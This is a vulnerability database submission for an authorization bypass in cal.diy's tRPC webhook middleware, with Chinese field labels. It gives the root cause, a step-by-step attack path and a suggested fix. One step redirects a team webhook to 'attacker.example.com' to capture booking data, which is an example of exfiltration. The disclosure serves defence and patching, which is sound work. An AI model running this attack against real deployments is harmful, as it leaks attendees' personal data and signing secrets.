| 标题 | https://github.com/calcom/ cal.diy a46d5f8dd4a9e5a821c7c7f54ef5d2e5999e445d Authorization Bypass |
|---|
| 描述 | Team webhook IDOR — team MEMBER can hijack team webhook delivery (missing ownership check in tRPC middleware)
There's an authorization bypass in the tRPC webhook infrastructure that allows a team **MEMBER** to redirect a team's webhook delivery to an attacker-controlled URL, exfiltrating all future booking event payloads.
**Root cause**
The shared `createWebhookProcedure()` middleware in
`packages/trpc/server/routers/viewer/webhook/util.ts` guards all `viewer.webhook.*` endpoints.
When a webhook ID is supplied, it checks ownership as follows:
```ts
if (webhook.eventTypeId) {
// check eventType owner
} else if (webhook.userId && webhook.userId !== [ctx.user.id](http://ctx.user.id/)) {
throw new TRPCError({ code: "FORBIDDEN" });
}
```
For **team-level webhooks**, `webhook.userId` is `null` (only `teamId` is set). Because `null`
is falsy, the entire `else if` branch is skipped and `next()` is called with no authorization
check. There is no check that the caller is a member of — or has admin rights in — the
webhook's owning team.
The `edit` handler (`edit.handler.ts`) contains no secondary check, so any authenticated user
who supplies a valid team webhook UUID can update the webhook's `subscriberUrl`, `secret`, and
other fields. The handler returns the full updated row including the signing `secret`.
**Attack path**
1. Attacker joins a Cal.com team as a MEMBER (lowest role).
2. Attacker calls `viewer.webhook.getByViewer` to obtain the team webhook UUID (this call is
authorized for all team members and is the normal data source for the webhooks settings page).
3. Attacker calls `viewer.webhook.edit` with `{ id: "<uuid>", subscriberUrl: "https://attacker.example.com/recv" }`.
4. The middleware silently passes (userId=null, no check fires). The handler updates the
webhook and returns the signing secret.
5. All future booking events (BOOKING_CREATED, BOOKING_RESCHEDULED, BOOKING_CANCELLED, etc.)
are delivered to the attacker's server, leaking attendee name, email, phone, time zone,
and custom field data.
**Affected code**
- `packages/trpc/server/routers/viewer/webhook/util.ts` — missing teamId/membership check
- `packages/trpc/server/routers/viewer/webhook/edit.handler.ts` — no secondary ownership check
Confirmed present at HEAD `a46d5f8dd4a9e5a821c7c7f54ef5d2e5999e445d` (main branch, 2026-06-21).
**Suggested fix**
In the middleware, after fetching the webhook, add a check for team membership/role when
`webhook.teamId` is set:
```ts
} else if (webhook.teamId) {
const membership = await prisma.membership.findFirst({
where: { teamId: webhook.teamId, userId: [ctx.user.id](http://ctx.user.id/), accepted: true, role: { in: ["ADMIN", "OWNER"] } },
});
if (!membership) throw new TRPCError({ code: "FORBIDDEN" });
}
``` |
|---|
| 来源 | ⚠️ https://github.com/calcom/cal.diy/issues/29982 |
|---|
| 用户 | geochen (UID 78995) |
|---|
| 提交 | 2026-10-01 02時16分 (19 日前) |
|---|
| 管理 | 2026-10-18 12時43分 (17 days later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 421691 [calcom cal.com/cal.diy 直到 6.2.0 Webhook util.ts createWebhookProcedure id 权限提升] |
|---|
| 积分 | 20 |
|---|